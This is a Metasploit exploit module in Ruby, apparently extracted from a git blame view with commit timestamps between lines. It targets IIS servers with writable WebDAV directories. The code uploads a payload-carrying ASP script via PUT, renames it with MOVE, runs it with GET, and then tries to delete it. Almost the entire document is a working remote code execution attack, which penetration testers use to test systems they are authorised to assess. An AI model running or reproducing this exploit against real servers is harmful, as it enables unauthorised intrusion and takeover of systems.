2010-02-08 19:04:19 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-02-08 19:04:19 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-09-20 04:38:13 +00:00
|
|
|
include Msf::Exploit::EXE
|
2010-02-08 19:04:19 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
|
|
|
|
'Description' => %q{
|
2010-03-10 05:58:01 +00:00
|
|
|
This module can be used to execute a payload on IIS servers that
|
|
|
|
have world-writeable directories. The payload is uploaded as an ASP
|
|
|
|
script using a WebDAV PUT request.
|
2010-02-08 19:04:19 +00:00
|
|
|
},
|
|
|
|
'Author' => 'hdm',
|
|
|
|
'Platform' => 'win',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['OSVDB', '397'],
|
|
|
|
['BID', '12141']
|
|
|
|
],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jan 01 1994'
|
2010-02-08 19:04:19 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
# Generate the ASP containing the EXE containing the payload
|
2010-09-20 15:59:46 +00:00
|
|
|
exe = generate_payload_exe
|
|
|
|
asp = Msf::Util::EXE.to_exe_asp(exe)
|
2010-02-08 19:04:19 +00:00
|
|
|
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
|
|
|
|
path_tmp = path.gsub(/\....$/, ".txt")
|
|
|
|
|
|
|
|
#
|
|
|
|
# UPLOAD
|
|
|
|
#
|
|
|
|
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path_tmp,
|
|
|
|
'method' => 'PUT',
|
|
|
|
'ctype' => 'application/octet-stream',
|
|
|
|
'data' => asp,
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Upload failed on #{path_tmp} [No Response]")
|
2010-02-08 19:04:19 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res.code < 200 or res.code >= 300)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
2010-02-08 19:04:19 +00:00
|
|
|
case res.code
|
|
|
|
when 401
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
2010-02-08 19:04:19 +00:00
|
|
|
end
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# MOVE
|
|
|
|
#
|
|
|
|
print_status("Moving #{path_tmp} to #{path}...")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path_tmp,
|
|
|
|
'method' => 'MOVE',
|
|
|
|
'headers' => {'Destination' => path}
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Move failed on #{path_tmp} [No Response]")
|
2010-02-08 19:04:19 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res.code < 200 or res.code >= 300)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
|
2010-02-08 19:04:19 +00:00
|
|
|
case res.code
|
|
|
|
when 401
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
2010-02-08 19:04:19 +00:00
|
|
|
when 403
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
|
2010-02-08 19:04:19 +00:00
|
|
|
end
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
|
|
|
print_status("Executing #{path}...")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path,
|
|
|
|
'method' => 'GET'
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (! res)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Execution failed on #{path} [No Response]")
|
2010-02-08 19:04:19 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res.code < 200 or res.code >= 300)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
|
2010-02-08 19:04:19 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-02-08 19:12:59 +00:00
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
|
|
|
print_status("Deleting #{path}, this doesn't always work...")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path,
|
|
|
|
'method' => 'DELETE'
|
|
|
|
}, 20)
|
|
|
|
if (! res)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Deletion failed on #{path} [No Response]")
|
2010-02-08 19:12:59 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res.code < 200 or res.code >= 300)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
|
2010-02-08 19:12:59 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-02-08 19:04:19 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|